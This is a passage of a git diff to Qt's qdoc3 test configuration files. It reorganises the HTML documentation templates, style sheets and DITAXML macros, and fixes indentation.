-                          $QT_SOURCE_TREE/src/3rdparty/phonon/gstreamer \
-                          $QT_SOURCE_TREE/src/3rdparty/phonon/ds9 \
-                          $QT_SOURCE_TREE/src/3rdparty/phonon/qt7 \
-                          $QT_SOURCE_TREE/src/3rdparty/phonon/mmf \
-                          $QT_SOURCE_TREE/src/3rdparty/phonon/waveout \
-                          $QT_SOURCE_TREE/doc/src/snippets \
-                          $QT_SOURCE_TREE/doc/src/ja_JP \
-                          $QT_SOURCE_TREE/doc/src/zh_CN
-
-sources.fileextensions  = "*.cpp *.qdoc *.mm"
-examples.fileextensions = "*.cpp *.h *.js *.xq *.svg *.xml *.ui *.qhp *.qhcp *.qml"
-examples.imageextensions = "*.png"
-
-exampledirs             = $QT_SOURCE_TREE/doc/src \
-                          $QT_SOURCE_TREE/examples \
-                          $QT_SOURCE_TREE/examples/tutorials \
-                          $QT_SOURCE_TREE \
-                          $QT_SOURCE_TREE/qmake/examples \
-                          $QT_SOURCE_TREE/src/3rdparty/webkit/WebKit/qt/docs
-imagedirs               = $QT_SOURCE_TREE/doc/src/images \
-                          $QT_SOURCE_TREE/examples \
-                          $QT_SOURCE_TREE/doc/src/declarative/pics \
-                          $QT_SOURCE_TREE/doc/src/template/images
-outputdir               = $QT_BUILD_TREE/doc/html
-tagfile                 = $QT_BUILD_TREE/doc/html/qt.tags
-base                    = file:$QT_BUILD_TREE/doc/html
-
-HTML.generatemacrefs    = "true"
diff --git a/tools/qdoc3/test/qt-cpp-ignore.qdocconf b/tools/qdoc3/test/qt-cpp-ignore.qdocconf
index 5d52a47..044eef4 100644
--- a/tools/qdoc3/test/qt-cpp-ignore.qdocconf
+++ b/tools/qdoc3/test/qt-cpp-ignore.qdocconf
@@ -71,8 +71,8 @@ Cpp.ignoretokens        = QAXFACTORY_EXPORT \
                           QT_END_INCLUDE_NAMESPACE \
                           PHONON_EXPORT \
                           Q_DECLARATIVE_EXPORT \
-			              Q_GADGET \
-            			  QWEBKIT_EXPORT \
+                          Q_GADGET \
+                          QWEBKIT_EXPORT \
                           Q_INVOKABLE
 Cpp.ignoredirectives    = Q_DECLARE_HANDLE \
                           Q_DECLARE_INTERFACE \
@@ -93,6 +93,6 @@ Cpp.ignoredirectives    = Q_DECLARE_HANDLE \
                           K_DECLARE_PRIVATE \
                           PHONON_OBJECT \
                           PHONON_HEIR \
-			  Q_PRIVATE_PROPERTY \
-			  Q_DECLARE_PRIVATE_D \
-			  Q_CLASSINFO
+                          Q_PRIVATE_PROPERTY \
+                          Q_DECLARE_PRIVATE_D \
+                          Q_CLASSINFO
diff --git a/tools/qdoc3/test/qt-defines.qdocconf b/tools/qdoc3/test/qt-defines.qdocconf
index 51ee0d3..50a355f 100644
--- a/tools/qdoc3/test/qt-defines.qdocconf
+++ b/tools/qdoc3/test/qt-defines.qdocconf
@@ -3,60 +3,15 @@ defines                 = Q_QDOC \
                           QT_.*_LIB \
                           QT_COMPAT \
                           QT_KEYPAD_NAVIGATION \
-			  QT_NO_EGL \
+                          QT_NO_EGL \
                           QT3_SUPPORT \
                           Q_WS_.* \
                           Q_OS_.* \
                           Q_BYTE_ORDER \
-			  QT_DEPRECATED \
+                          QT_DEPRECATED \
                           Q_NO_USING_KEYWORD \
                           __cplusplus
 
 versionsym              = QT_VERSION_STR
 
 codeindent              = 1
-
-# Files not referenced in any qdoc file (last four needed by qtdemo)
-# See also qhp.Qt.extraFiles
-extraimages.HTML        = qt-logo \
-                          trolltech-logo \
-                          bg_l.png \
-                          bg_l_blank.png \
-                          bg_ll_blank.png \
-                          bg_ul_blank.png \
-                          header_bg.png \
-                          bg_r.png \
-                          box_bg.png \
-                          breadcrumb.png \
-                          bullet_gt.png \
-                          bullet_dn.png \
-                          bullet_sq.png \
-                          bullet_up.png \
-                          arrow_down.png \
-                          feedbackground.png \
-                          horBar.png \
-                          page.png \
-                          page_bg.png \
-                          sprites-combined.png \
-                          spinner.gif \
-                          stylesheet-coffee-plastique.png \
-                          taskmenuextension-example.png \
-                          coloreditorfactoryimage.png \
-                          dynamiclayouts-example.png
-
-# This stuff is used by the new doc format.
-scriptdirs              = $QT_SOURCE_TREE/doc/src/template/scripts
-styledirs               = $QT_SOURCE_TREE/doc/src/template/style
-
-scripts.HTML		= functions.js \
-			     narrow.js \
-			     superfish.js \
-			  jquery.js
-
-styles.HTML		= style.css \
-			     narrow.css \
-			     superfish.css \
-			     superfish_skin.css \
-			  style_ie6.css \
-			  style_ie7.css \
-			  style_ie8.css
diff --git a/tools/qdoc3/test/qt-ditaxml.qdocconf b/tools/qdoc3/test/qt-ditaxml.qdocconf
index 66f30e3..211bdb2 100644
--- a/tools/qdoc3/test/qt-ditaxml.qdocconf
+++ b/tools/qdoc3/test/qt-ditaxml.qdocconf
@@ -1,11 +1,49 @@
-include(qt.qdocconf)
+include(qt-project.qdocconf)
 
 imagedirs               = $QTDIR/doc/src/images \
                           $QTDIR/examples \
-			  $QTDIR/doc/src/template/images
+                          $QTDIR/doc/src/declarative/pics \
+                          $QTDIR/doc/src/template/images
 
 outputdir               = $QTDIR/doc/ditaxml
 outputformats           = DITAXML
 
 generateindex           = true
 url                     = .
+macro.aacute.DITAXML    = "&aacute;"
+macro.Aring.DITAXML     = "&Aring;"
+macro.aring.DITAXML     = "&aring;"
+macro.Auml.DITAXML      = "&Auml;"
+macro.author            = "\\bold{Author:}"
+macro.br.DITAXML        = " "
+macro.BR.DITAXML        = " "
+macro.copyright.DITAXML = "&copy;"
+macro.eacute.DITAXML    = "&eacute;"
+macro.gui               = "\\bold"
+macro.hr.DITAXML        = " "
+macro.iacute.DITAXML    = "&iacute;"
+macro.key               = "\\bold"
+macro.menu              = "\\bold"
+macro.note              = "\\bold{Note:}"
+macro.oslash.DITAXML    = "&oslash;"
+macro.ouml.DITAXML      = "&ouml;"
+macro.QA                = "\\e{Qt Assistant}"
+macro.QD                = "\\e{Qt Designer}"
+macro.QL                = "\\e{Qt Linguist}"
+macro.QQV               = "\\e{Qt QML Viewer}"
+macro.param             = "\\e"
+macro.raisedaster.DITAXML  = "<sup>*</sup>"
+macro.rarrow.DITAXML    = "&rarr;"
+macro.reg.DITAXML       = "<sup>&reg;</sup>"
+macro.return            = "Returns"
+macro.starslash         = "\\c{*/}"
+macro.begincomment      = "\\c{/*}"
+macro.endcomment        = "\\c{*/}"
+macro.uuml.DITAXML      = "&uuml;"
+macro.mdash.DITAXML     = "&mdash;"
+
+macro.beginfloatleft.HTML   = " "
+macro.beginfloatright.HTML  = " "
+macro.endfloat.HTML         = " "
+macro.clearfloat.HTML       = " "
+macro.emptyspan.DITAXML	    = " "
diff --git a/tools/qdoc3/test/qt-html-default-styles.qdocconf b/tools/qdoc3/test/qt-html-default-styles.qdocconf
new file mode 100644
index 0000000..d37ef5d
--- /dev/null
+++ b/tools/qdoc3/test/qt-html-default-styles.qdocconf
@@ -0,0 +1,32 @@
+# Define the location of the templates to use. Style sheets and scripts are
+# specified relative to the template directory and will be copied into
+# subdirectories of the output directory.
+
+HTML.templatedir = $QT_SOURCE_TREE/doc/src/template
+
+HTML.stylesheets = style/offline.css
+
+HTML.scripts     =
+
+# Files not referenced in any qdoc file (last four needed by qtdemo)
+# See also qhp.Qt.extraFiles
+extraimages.HTML        = qt-logo.png \
+                          arrow_down.png \
+                          breadcrumb.png \
+                          bullet_gt.png \
+                          bullet_dn.png \
+                          bullet_sq.png \
+                          bullet_up.png \
+                          horBar.png \
+                          sprites-combined.png
+
+# Include the style sheets and scripts used.
+
+HTML.headerstyles = \
+    "  <link rel=\"stylesheet\" type=\"text/css\" href=\"style/offline.css\" />\n"
+
+HTML.headerscripts = 
+
+HTML.endheader = \
+    "</head>\n" \
+    "<body>\n"
diff --git a/tools/qdoc3/test/qt-html-online-styles.qdocconf b/tools/qdoc3/test/qt-html-online-styles.qdocconf
new file mode 100644
index 0000000..6db3491
--- /dev/null
+++ b/tools/qdoc3/test/qt-html-online-styles.qdocconf
@@ -0,0 +1,72 @@
+# Define the location of the templates to use. Style sheets and scripts are
+# specified relative to the template directory and will be copied into
+# subdirectories of the output directory.
+
+HTML.templatedir = $QT_SOURCE_TREE/doc/src/template
+
+HTML.stylesheets = style/narrow.css \
+                   style/style.css \
+                   style/style_ie6.css \
+                   style/style_ie7.css \
+                   style/style_ie8.css \
+                   style/superfish.css
+
+# Adding jquery and functions - providing online tools and search features
+HTML.scripts     = scripts/functions.js \
+                   scripts/narrow.js \
+                   scripts/superfish.js \
+                   scripts/jquery.js
+
+
+# Files not referenced in any qdoc file.
+# See also qhp.Qt.extraFiles
+extraimages.HTML        = qt-logo.png \
+                          bg_l.png \
+                          bg_l_blank.png \
+                          bg_ll_blank.png \
+                          bg_ul_blank.png \
+                          header_bg.png \
+                          bg_r.png \
+                          box_bg.png \
+                          breadcrumb.png \
+                          bullet_gt.png \
+                          bullet_dn.png \
+                          bullet_sq.png \
+                          bullet_up.png \
+                          arrow_down.png \
+                          feedbackground.png \
+                          horBar.png \
+                          page.png \
+                          page_bg.png \
+                          sprites-combined.png \
+                          spinner.gif
+    
+# Include the style sheets and scripts used.
+
+HTML.headerstyles = \
+    "  <link rel=\"stylesheet\" type=\"text/css\" href=\"style/style.css\" />\n" \
+    "  <script src=\"scripts/jquery.js\" type=\"text/javascript\"></script>\n" \
+    "  <script src=\"scripts/functions.js\" type=\"text/javascript\"></script>\n" \
+    "  <link rel=\"stylesheet\" type=\"text/css\" href=\"style/superfish.css\" />\n" \
+    "  <link rel=\"stylesheet\" type=\"text/css\" href=\"style/narrow.css\" />\n" \
+    "  <!--[if IE]>\n" \
+    "<meta name=\"MSSmartTagsPreventParsing\" content=\"true\">\n" \
+    "<meta http-equiv=\"imagetoolbar\" content=\"no\">\n" \
+    "<![endif]-->\n" \
+    "<!--[if lt IE 7]>\n" \
+    "<link rel=\"stylesheet\" type=\"text/css\" href=\"style/style_ie6.css\">\n" \
+    "<![endif]-->\n" \
+    "<!--[if IE 7]>\n" \
+    "<link rel=\"stylesheet\" type=\"text/css\" href=\"style/style_ie7.css\">\n" \
+    "<![endif]-->\n" \
+    "<!--[if IE 8]>\n" \
+    "<link rel=\"stylesheet\" type=\"text/css\" href=\"style/style_ie8.css\">\n" \
+    "<![endif]-->\n\n"
+
+HTML.headerscripts = \
+    "<script src=\"scripts/superfish.js\" type=\"text/javascript\"></script>\n" \
+    "<script src=\"scripts/narrow.js\" type=\"text/javascript\"></script>\n\n"
+
+HTML.endheader = \
+    "</head>\n" \
+    "<body class=\"\" onload=\"CheckEmptyAndLoadList();\">\n"
diff --git a/tools/qdoc3/test/qt-html-templates-online.qdocconf b/tools/qdoc3/test/qt-html-templates-online.qdocconf
new file mode 100644
index 0000000..dc84e7d
--- /dev/null
+++ b/tools/qdoc3/test/qt-html-templates-online.qdocconf
@@ -0,0 +1,232 @@
+include(qt-html-online-styles.qdocconf)
+
+HTML.postheader = \
+    " <div class=\"header\" id=\"qtdocheader\">\n" \
+    "    <div class=\"content\"> \n" \
+    "    <div id=\"nav-logo\">\n" \
+    "      <a href=\"index.html\">Home</a></div>\n" \
+    "    <a href=\"index.html\" class=\"qtref\"><span>Qt Reference Documentation</span></a>\n" \
+    "    <div id=\"narrowsearch\"></div>\n" \
+    "    <div id=\"nav-topright\">\n" \
+    "      <ul>\n" \
+    "        <li class=\"nav-topright-home\"><a href=\"http://qt.nokia.com/\">Qt HOME</a></li>\n" \
+    "        <li class=\"nav-topright-dev\"><a href=\"http://developer.qt.nokia.com/\">DEV</a></li>\n" \
+    "        <li class=\"nav-topright-labs\"><a href=\"http://labs.qt.nokia.com/blogs/\">LABS</a></li>\n" \
+    "        <li class=\"nav-topright-doc nav-topright-doc-active\"><a href=\"http://doc.qt.nokia.com/\">\n" \
+    "          DOC</a></li>\n" \
+    "        <li class=\"nav-topright-blog\"><a href=\"http://blog.qt.nokia.com/\">BLOG</a></li>\n" \
+    "      </ul>\n" \
+    "    </div>\n" \
+    "    <div id=\"shortCut\">\n" \
+    "      <ul>\n" \
+    "        <li class=\"shortCut-topleft-inactive\"><span><a href=\"index.html\">Qt 4.7</a></span></li>\n" \
+    "        <li class=\"shortCut-topleft-active\"><a href=\"http://doc.qt.nokia.com\">ALL VERSIONS" \
+    "        </a></li>\n" \
+    "      </ul>\n" \
+    "     </div>\n" \
+    " <ul class=\"sf-menu\" id=\"narrowmenu\"> \n" \
+    "             <li><a href=\"#\">API Lookup</a> \n" \
+    "                 <ul> \n" \
+    "                     <li><a href=\"classes.html\">Class index</a></li> \n" \
+    "           <li><a href=\"functions.html\">Function index</a></li> \n" \
+    "           <li><a href=\"modules.html\">Modules</a></li> \n" \
+    "           <li><a href=\"namespaces.html\">Namespaces</a></li> \n" \
+    "           <li><a href=\"qtglobal.html\">Global Declarations</a></li> \n" \
+    "           <li><a href=\"qdeclarativeelements.html\">QML elements</a></li> \n" \
+    "             </ul> \n" \
+    "             </li> \n" \
+    "             <li><a href=\"#\">Qt Topics</a> \n" \
+    "                 <ul> \n" \
+    "                        <li><a href=\"qt-basic-concepts.html\">Programming with Qt</a></li>  \n" \
+    "                        <li><a href=\"qtquick.html\">Device UIs &amp; Qt Quick</a></li>  \n" \
+    "                        <li><a href=\"qt-gui-concepts.html\">UI Design with Qt</a></li>  \n" \
+    "                        <li><a href=\"developing-with-qt.html\">Cross-platform and Platform-specific</a></li>  \n" \
+    "                        <li><a href=\"platform-specific.html\">Platform-specific info</a></li>  \n" \
+    "                        <li><a href=\"technology-apis.html\">Qt and Key Technologies</a></li>  \n" \
+    "                        <li><a href=\"best-practices.html\">How-To's and Best Practices</a></li>  \n" \
+    "              </ul> \n" \
+    "                 </li> \n" \
+    "                 <li><a href=\"#\">Examples</a> \n" \
+    "                     <ul> \n" \
+    "                       <li><a href=\"all-examples.html\">Examples</a></li> \n" \
+    "                       <li><a href=\"tutorials.html\">Tutorials</a></li> \n" \
+    "                       <li><a href=\"demos.html\">Demos</a></li> \n" \
+    "                       <li><a href=\"qdeclarativeexamples.html\">QML Examples</a></li> \n" \
+    "                </ul> \n" \
+    "                     </li> \n" \
+    "                 </ul> \n" \
+    "    </div>\n" \
+    "  </div>\n" \
+    "  <div class=\"wrapper\">\n" \
+    "    <div class=\"hd\">\n" \
+    "      <span></span>\n" \
+    "    </div>\n" \
+    "    <div class=\"bd group\">\n" \
+    "      <div class=\"sidebar\">\n" \
+    "        <div class=\"searchlabel\">\n" \
+    "          Search index:</div>\n" \
+    "        <div class=\"search\" id=\"sidebarsearch\">\n" \
+    "          <form id=\"qtdocsearch\" action=\"\" onsubmit=\"return false;\">\n" \
+    "            <fieldset>\n" \
+    "              <input type=\"text\" name=\"searchstring\" id=\"pageType\" value=\"\" />\n" \
+    " <div id=\"resultdialog\"> \n" \
+    " <a href=\"#\" id=\"resultclose\">Close</a> \n" \
+    " <p id=\"resultlinks\" class=\"all\"><a href=\"#\" id=\"showallresults\">All</a> | <a href=\"#\" id=\"showapiresults\">API</a> | <a href=\"#\" id=\"showarticleresults\">Articles</a> | <a href=\"#\" id=\"showexampleresults\">Examples</a></p> \n" \
+    " <p id=\"searchcount\" class=\"all\"><span id=\"resultcount\"></span><span id=\"apicount\"></span><span id=\"articlecount\"></span><span id=\"examplecount\"></span>&nbsp;results:</p> \n" \
+    " <ul id=\"resultlist\" class=\"all\"> \n" \
+    " </ul> \n" \
+    " </div> \n" \
+    "            </fieldset>\n" \
+    "          </form>\n" \
+    "        </div>\n" \
+    "        <div class=\"box first bottombar\" id=\"lookup\">\n" \
+    "          <h2 title=\"API Lookup\"><span></span>\n" \
+    "            API Lookup</h2>\n" \
+    "          <div  id=\"list001\" class=\"list\">\n" \
+    "          <ul id=\"ul001\" >\n" \
+    "              <li class=\"defaultLink\"><a href=\"classes.html\">Class index</a></li>\n" \
+    "              <li class=\"defaultLink\"><a href=\"functions.html\">Function index</a></li>\n" \
+    "              <li class=\"defaultLink\"><a href=\"modules.html\">Modules</a></li>\n" \
+    "              <li class=\"defaultLink\"><a href=\"namespaces.html\">Namespaces</a></li>\n" \
+    "              <li class=\"defaultLink\"><a href=\"qtglobal.html\">Global Declarations</a></li>\n" \
+    "              <li class=\"defaultLink\"><a href=\"qdeclarativeelements.html\">QML elements</a></li>\n" \
+    "            </ul> \n" \
+    "          </div>\n" \
+    "        </div>\n" \
+    "        <div class=\"box bottombar\" id=\"topics\">\n" \
+    "          <h2 title=\"Qt Topics\"><span></span>\n" \
+    "            Qt Topics</h2>\n" \
+    "          <div id=\"list002\" class=\"list\">\n" \
+    "            <ul id=\"ul002\" >\n" \
+    "               <li class=\"defaultLink\"><a href=\"qt-basic-concepts.html\">Programming with Qt</a></li> \n" \
+    "               <li class=\"defaultLink\"><a href=\"qtquick.html\">Device UIs &amp; Qt Quick</a></li> \n" \
+    "               <li class=\"defaultLink\"><a href=\"qt-gui-concepts.html\">UI Design with Qt</a></li> \n" \
+    "               <li class=\"defaultLink\"><a href=\"developing-with-qt.html\">Cross-platform and Platform-specific</a></li> \n" \
+    "               <li class=\"defaultLink\"><a href=\"platform-specific.html\">Platform-specific info</a></li> \n" \
+    "               <li class=\"defaultLink\"><a href=\"technology-apis.html\">Qt and Key Technologies</a></li> \n" \
+    "               <li class=\"defaultLink\"><a href=\"best-practices.html\">How-To's and Best Practices</a></li> \n" \
+    "            </ul>  \n" \
+    "          </div>\n" \
+    "        </div>\n" \
+    "        <div class=\"box\" id=\"examples\">\n" \
+    "          <h2 title=\"Examples\"><span></span>\n" \
+    "            Examples</h2>\n" \
+    "          <div id=\"list003\" class=\"list\">\n" \
+    "        <ul id=\"ul003\">\n" \
+    "              <li class=\"defaultLink\"><a href=\"all-examples.html\">Examples</a></li>\n" \
+    "              <li class=\"defaultLink\"><a href=\"tutorials.html\">Tutorials</a></li>\n" \
+    "              <li class=\"defaultLink\"><a href=\"demos.html\">Demos</a></li>\n" \
+    "              <li class=\"defaultLink\"><a href=\"qdeclarativeexamples.html\">QML Examples</a></li>\n" \
+    "            </ul> \n" \
+    "          </div>\n" \
+    "        </div>\n" \
+    "      </div>\n" \
+    "      <div class=\"wrap\">\n" \
+    "        <div class=\"toolbar\">\n" \
+    "          <div class=\"breadcrumb toolblock\">\n" \
+    "            <ul>\n" \
+    "              <li class=\"first\"><a href=\"index.html\">Home</a></li>\n" \
+    "              <!--  Breadcrumbs go here -->\n"
+
+HTML.postpostheader = \
+    "            </ul>\n" \
+    "          </div>\n" \
+    "          <div class=\"toolbuttons toolblock\">\n" \
+    "            <ul>\n" \
+    "              <li id=\"smallA\" class=\"t_button\">A</li>\n" \
+    "              <li id=\"medA\" class=\"t_button active\">A</li>\n" \
+    "              <li id=\"bigA\" class=\"t_button\">A</li>\n" \
+    "              <li id=\"print\" class=\"t_button\"><a href=\"javascript:this.print();\">\n" \
+    "                <span>Print</span></a></li>\n" \
+    "            </ul>\n" \
+    "        </div>\n" \
+    "        </div>\n" \
+    "        <div class=\"content mainContent\">\n"
+
+HTML.footer = \
+    "        <div class=\"feedback t_button\">\n" \
+    "          [+] Documentation Feedback</div>\n" \
+    "      </div>\n" \
+    "    </div>\n" \
+    "    </div> \n" \
+    "    <div class=\"ft\">\n" \
+    "      <span></span>\n" \
+    "    </div>\n" \
+    "  </div> \n" \
+    "  <div class=\"footer\">\n" \
+    "    <p>\n" \
+    "      <acronym title=\"Copyright\">&copy;</acronym> 2008-2011 Nokia Corporation and/or its\n" \
+    "      subsidiaries. Nokia, Qt and their respective logos are trademarks of Nokia Corporation \n" \
+    "      in Finland and/or other countries worldwide.</p>\n" \
+    "    <p>\n" \
+    "      All other trademarks are property of their respective owners. <a title=\"Privacy Policy\"\n" \
+    "        href=\"http://qt.nokia.com/about/privacy-policy\">Privacy Policy</a></p>\n" \
+    "    <br />\n" \
+    "    <p>\n" \
+    "      Licensees holding valid Qt Commercial licenses may use this document in accordance with the" \
+    "      Qt Commercial License Agreement provided with the Software or, alternatively, in accordance" \
+    "      with the terms contained in a written agreement between you and Nokia.</p>\n" \
+    "    <p>\n" \
+    "      Alternatively, this document may be used under the terms of the <a href=\"http://www.gnu.org/licenses/fdl.html\">GNU\n" \
+    "      Free Documentation License version 1.3</a>\n" \
+    "      as published by the Free Software Foundation.</p>\n" \
+    "  </div>\n" \
+    "  <div id=\"feedbackBox\">\n" \
+    "      <div id=\"feedcloseX\" class=\"feedclose t_button\">X</div>\n" \
+    "    <form id=\"feedform\" action=\"http://doc.qt.nokia.com/docFeedbck/feedback.php\" method=\"get\">\n" \
+    "      <p id=\"noteHead\">Thank you for giving your feedback.</p> <p class=\"note\">Make sure it is related to this specific page. For more general bugs and \n" \
+    "      requests, please use the <a href=\"http://bugreports.qt.nokia.com/secure/Dashboard.jspa\">Qt Bug Tracker</a>.</p>\n" \
+    "      <p><textarea id=\"feedbox\" name=\"feedText\" rows=\"5\" cols=\"40\"></textarea></p>\n" \
+    "      <p><input id=\"feedsubmit\" class=\"feedclose\" type=\"submit\" name=\"feedback\" /></p>\n" \
+    "    </form>\n" \
+    "  </div>\n" \
+    "  <div id=\"blurpage\">\n" \
+    "  </div>\n" \
+    "\n" \
+    "  <script src=\"scripts/functions.js\" type=\"text/javascript\"></script>\n" \
+    "  <script type=\"text/javascript\">\n" \
+    "  var _gaq = _gaq || [];\n" \
+    "  _gaq.push(['_setAccount', 'UA-4457116-5']);\n" \
+    "  _gaq.push(['_trackPageview']);\n" \
+    "  (function() {\n" \
+    "  var ga = document.createElement('script'); " \
+    "ga.type = 'text/javascript'; ga.async = true;\n" \
+    "  ga.src = ('https:' == document.location.protocol ? 'https://ssl' : 'http://www') + " \
+    "'.google-analytics.com/ga.js';\n" \
+    "  var s = document.getElementsByTagName('script')[0]; s.parentNode.insertBefore(ga, s);\n" \
+    "  })();\n" \
+    "  </script>\n"
+
+
+# Files not referenced in any qdoc file.
+# See also extraimages.HTML
+qhp.Qt.extraFiles = index.html \
+                    images/bg_l.png \
+                    images/bg_l_blank.png \
+                    images/bg_ll_blank.png \
+                    images/bg_ul_blank.png \
+                    images/header_bg.png \
+                    images/bg_r.png \
+                    images/box_bg.png \
+                    images/breadcrumb.png \
+                    images/bullet_gt.png \
+                    images/bullet_dn.png \
+                    images/bullet_sq.png \
+                    images/bullet_up.png \
+                    images/arrow_down.png \
+                    images/feedbackground.png \
+                    images/horBar.png \
+                    images/page.png \
+                    images/page_bg.png \
+                    images/sprites-combined.png \
+                    images/spinner.gif \
+                    scripts/functions.js \
+                    scripts/jquery.js \
+                    scripts/narrow.js \
+                    scripts/superfish.js \
+                    style/narrow.css \
+                    style/superfish.css \
+                    style/style_ie6.css \
+                    style/style_ie7.css \
+                    style/style_ie8.css \
+                    style/style.css
diff --git a/tools/qdoc3/test/qt-html-templates.qdocconf b/tools/qdoc3/test/qt-html-templates.qdocconf
index f5ca03d..6f756da 100644
--- a/tools/qdoc3/test/qt-html-templates.qdocconf
+++ b/tools/qdoc3/test/qt-html-templates.qdocconf
@@ -1,186 +1,54 @@
-HTML.stylesheets        =  style/style.css \
-									style/OfflineStyle.css \
-									style/style_ie7.css \
-									style/style_ie8.css \
-									style/style_ie6.css
+include(qt-html-default-styles.qdocconf)
 
-HTML.postheader         = " <div class=\"header\" id=\"qtdocheader\">\n" \
-			  "    <div class=\"content\"> \n" \
-			  "    <div id=\"nav-logo\">\n" \
-			  "      <a href=\"index.html\">Home</a></div>\n" \
-			  "    <a href=\"index.html\" class=\"qtref\"><span>Qt Reference Documentation</span></a>\n" \
-			  "    <div id=\"narrowsearch\"></div>\n" \
-			  "    <div id=\"nav-topright\">\n" \
-			  "      <ul>\n" \
-			  "        <li class=\"nav-topright-home\"><a href=\"http://qt.nokia.com/\">Qt HOME</a></li>\n" \
-			  "        <li class=\"nav-topright-dev\"><a href=\"http://developer.qt.nokia.com/\">DEV</a></li>\n" \
-			  "        <li class=\"nav-topright-labs\"><a href=\"http://labs.qt.nokia.com/blogs/\">LABS</a></li>\n" \
-			  "        <li class=\"nav-topright-doc nav-topright-doc-active\"><a href=\"http://doc.qt.nokia.com/\">\n" \
-			  "          DOC</a></li>\n" \
-			  "        <li class=\"nav-topright-blog\"><a href=\"http://blog.qt.nokia.com/\">BLOG</a></li>\n" \
-			  "      </ul>\n" \
-			  "    </div>\n" \
-			  "    <div id=\"shortCut\">\n" \
-			  "      <ul>\n" \
-			  "        <li class=\"shortCut-topleft-inactive\"><span><a href=\"index.html\">Qt 4.8</a></span></li>\n" \
-			  "        <li class=\"shortCut-topleft-active\"><a href=\"http://doc.qt.nokia.com\">ALL VERSIONS" \
-			  "        </a></li>\n" \
-			  "      </ul>\n" \
-			  "     </div>\n" \
-			" <ul class=\"sf-menu\" id=\"narrowmenu\"> \n" \
-			" 			<li><a href=\"#\">API Lookup</a> \n" \
-			" 				<ul> \n" \
-			" 					<li><a href=\"classes.html\">Class index</a></li> \n" \
-			"           <li><a href=\"functions.html\">Function index</a></li> \n" \
-			"           <li><a href=\"modules.html\">Modules</a></li> \n" \
-			"           <li><a href=\"namespaces.html\">Namespaces</a></li> \n" \
-			"           <li><a href=\"qtglobal.html\">Global Declarations</a></li> \n" \
-			"           <li><a href=\"qdeclarativeelements.html\">QML elements</a></li> \n" \
-			" 		    </ul> \n" \
-			" 			</li> \n" \
-			" 			<li><a href=\"#\">Qt Topics</a> \n" \
-			" 				<ul> \n" \
-			" 					   <li><a href=\"qt-basic-concepts.html\">Programming with Qt</a></li>  \n" \
-			" 					   <li><a href=\"qtquick.html\">Device UIs &amp; Qt Quick</a></li>  \n" \
-			" 					   <li><a href=\"qt-gui-concepts.html\">UI Design with Qt</a></li>  \n" \
-			" 					   <li><a href=\"developing-with-qt.html\">Cross-platform and Platform-specific</a></li>  \n" \
-			" 					   <li><a href=\"platform-specific.html\">Platform-specific info</a></li>  \n" \
-			" 					   <li><a href=\"technology-apis.html\">Qt and Key Technologies</a></li>  \n" \
-			" 					   <li><a href=\"best-practices.html\">How-To's and Best Practices</a></li>  \n" \
-			" 		     </ul> \n" \
-			" 				</li> \n" \
-			" 				<li><a href=\"#\">Examples</a> \n" \
-			" 					<ul> \n" \
-			" 		              <li><a href=\"all-examples.html\">Examples</a></li> \n" \
-			" 		              <li><a href=\"tutorials.html\">Tutorials</a></li> \n" \
-			" 		              <li><a href=\"demos.html\">Demos</a></li> \n" \
-			" 		              <li><a href=\"qdeclarativeexamples.html\">QML Examples</a></li> \n" \
-			" 		       </ul> \n" \
-			" 					</li> \n" \
-			" 				</ul> \n" \
-			  "    </div>\n" \
-			  "  </div>\n" \
-			  "  <div class=\"wrapper\">\n" \
-			  "    <div class=\"hd\">\n" \
-			  "      <span></span>\n" \
-			  "    </div>\n" \
-			  "    <div class=\"bd group\">\n" \
-			  "      <div class=\"sidebar\">\n" \
-			  "        <div class=\"searchlabel\">\n" \
-			  "          Search index:</div>\n" \
-			  "        <div class=\"search\" id=\"sidebarsearch\">\n" \
-			  "          <form id=\"qtdocsearch\" action=\"\" onsubmit=\"return false;\">\n" \
-			  "            <fieldset>\n" \
-			  "              <input type=\"text\" name=\"searchstring\" id=\"pageType\" value=\"\" />\n" \
-			" <div id=\"resultdialog\"> \n" \
-			" <a href=\"#\" id=\"resultclose\">Close</a> \n" \
-			"<!-- <p id=\"resultlinks\" class=\"all\"><a href=\"#\" id=\"showallresults\">All</a> | <a href=\"#\" id=\"showapiresults\">API</a> | <a href=\"#\" id=\"showarticleresults\">Articles</a> | <a href=\"#\" id=\"showexampleresults\">Examples</a></p> \n" \
-			" <p id=\"searchcount\" class=\"all\"><span id=\"resultcount\"></span><span id=\"apicount\"></span><span id=\"articlecount\"></span><span id=\"examplecount\"></span>&nbsp;results:</p> --> \n" \
-			" <ul id=\"resultlist\" class=\"all\"> \n" \
-			" </ul> \n" \
-			" </div> \n" \
-			  "            </fieldset>\n" \
-			  "          </form>\n" \
-			  "        </div>\n" \
-			  "        <div class=\"box first bottombar\" id=\"lookup\">\n" \
-			  "          <h2 title=\"API Lookup\"><span></span>\n" \
-			  "            API Lookup</h2>\n" \
-			  "          <div  id=\"list001\" class=\"list\">\n" \
-			  "          <ul id=\"ul001\" >\n" \
-			  "              <li class=\"defaultLink\"><a href=\"classes.html\">Class index</a></li>\n" \
-			  "              <li class=\"defaultLink\"><a href=\"functions.html\">Function index</a></li>\n" \
-			  "              <li class=\"defaultLink\"><a href=\"modules.html\">Modules</a></li>\n" \
-			  "              <li class=\"defaultLink\"><a href=\"namespaces.html\">Namespaces</a></li>\n" \
-			  "              <li class=\"defaultLink\"><a href=\"qtglobal.html\">Global Declarations</a></li>\n" \
-			  "              <li class=\"defaultLink\"><a href=\"qdeclarativeelements.html\">QML elements</a></li>\n" \
-			  "            </ul> \n" \
-			  "          </div>\n" \
-			  "        </div>\n" \
-			  "        <div class=\"box bottombar\" id=\"topics\">\n" \
-			  "          <h2 title=\"Qt Topics\"><span></span>\n" \
-			  "            Qt Topics</h2>\n" \
-			  "          <div id=\"list002\" class=\"list\">\n" \
-			  "            <ul id=\"ul002\" >\n" \
-			  "			   <li class=\"defaultLink\"><a href=\"qt-basic-concepts.html\">Programming with Qt</a></li> \n" \
-			  "			   <li class=\"defaultLink\"><a href=\"qtquick.html\">Device UIs &amp; Qt Quick</a></li> \n" \
-			  "			   <li class=\"defaultLink\"><a href=\"qt-gui-concepts.html\">UI Design with Qt</a></li> \n" \
-			  "			   <li class=\"defaultLink\"><a href=\"developing-with-qt.html\">Cross-platform and Platform-specific</a></li> \n" \
-			  "			   <li class=\"defaultLink\"><a href=\"platform-specific.html\">Platform-specific info</a></li> \n" \
-			  "			   <li class=\"defaultLink\"><a href=\"technology-apis.html\">Qt and Key Technologies</a></li> \n" \
